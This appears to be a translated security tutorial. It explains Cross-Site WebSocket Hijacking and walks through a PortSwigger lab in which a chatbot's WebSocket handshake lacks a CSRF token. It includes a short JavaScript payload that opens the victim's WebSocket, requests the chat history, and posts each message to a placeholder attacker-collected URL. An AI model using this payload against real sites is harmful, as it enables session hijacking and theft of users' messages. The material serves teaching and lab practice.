Front-End WebSocket Hijacking Vulnerability (CSWSH)
This article explains Cross-Site WebSocket Hijacking (CSWSH), its characteristics, and how the vulnerability can be reproduced and analyzed in an online lab.
Read in Chinese→0x00 What Is WebSocket Hijacking?
A common vulnerability in applications that use WebSockets is WebSocket hijacking, formally known as CSWSH (Cross-Site WebSocket Hijacking).
The WebSocket Concept
WebSocket is a bidirectional, full-duplex communication protocol initiated over HTTP. It is commonly used in modern web applications for streaming data and other asynchronous traffic. One of its most common uses is website chatbots.
Some may ask: How does it differ from HTTP, which is also a protocol and is more widely used?
First, WebSocket is a new protocol introduced with HTML5. It is a TCP-based application-layer communication protocol, and its content is unrelated to that of the HTTP protocol itself.
WebSocket also establishes a connection through a handshake, much like TCP. Unlike TCP, however, the WebSocket handshake is performed over HTTP. It provides an efficient, full-duplex communication channel between the client and server over a single TCP connection.
WebSocket connections are initiated over HTTP and are usually long-lived. Messages can be sent in either direction at any time and are not inherently transactional. The connection generally remains open and idle until either the client or the server sends a message.
Put simply, HTTP is stateless: once a request has been sent and completed, the interaction ends.
WebSocket is a long-lived protocol that allows continuous interaction, making it suitable for scenarios requiring frequent or prolonged communication. It is also applicable to online games, where the server continuously pushes messages to the client. (Such scenarios would otherwise require long polling.)
It is simply a different protocol.
0x01 Vulnerability Characteristics
- **Prerequisite:** The WebSocket handshake request relies solely on HTTP cookies for session handling and does not include a CSRF token.
An attacker can construct a malicious connection that establishes a cross-site WebSocket connection to the application. The victim’s connection is then processed within their application session context, allowing the connection to send arbitrary messages to the server and read messages received from it.
-
**Difference:** The attacker gains bidirectional interaction with the compromised application.
-
The attacker can impersonate the victim and perform sensitive actions.
-
The hijacked application allows bidirectional interaction.
0x02 Lab
For simplicity and convenience, we can directly use Burp’s online lab.
https://0aa000f704fed249c17a6c3e00220075.web-security-academy.net/chat
This is my URL. You can visit the official website and locate the Cross-site WebSocket hijacking lab environment yourself.
1. This is an online store with a chatbot

2. Capture the traffic and inspect it; WebSocket communication is being used

There is an issue here. In the WebSockets history, we can observe that sending the “READY” command causes all previous chat messages to be requested again.
In the HTTP history, locate the WebSocket handshake request. Notice that the request does not contain a CSRF token.

We can therefore test this CSWSH vulnerability. The following is my chat URL:
https://0aa000f704fed249c17a6c3e00220075.web-security-academy.net/chat
3. We need a server to host our script; you can think of it as an XSS platform. The lab provides a server for this purpose
Prepare the JavaScript:
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>

4. This is equivalent to visiting the URL containing the JavaScript

5. Receive the messages
![](/images/3a4d3a2eecadbc8aec160d86e594e12a.png This allows us to view the chat history and interaction data, meaning the hijacking was successful.
0x04 Summary
Simply put, this is similar to a WebSocket version of CSRF. It likewise requires the absence of a CSRF token, allowing an attacker to exploit this condition to send sensitive requests and perform sensitive actions.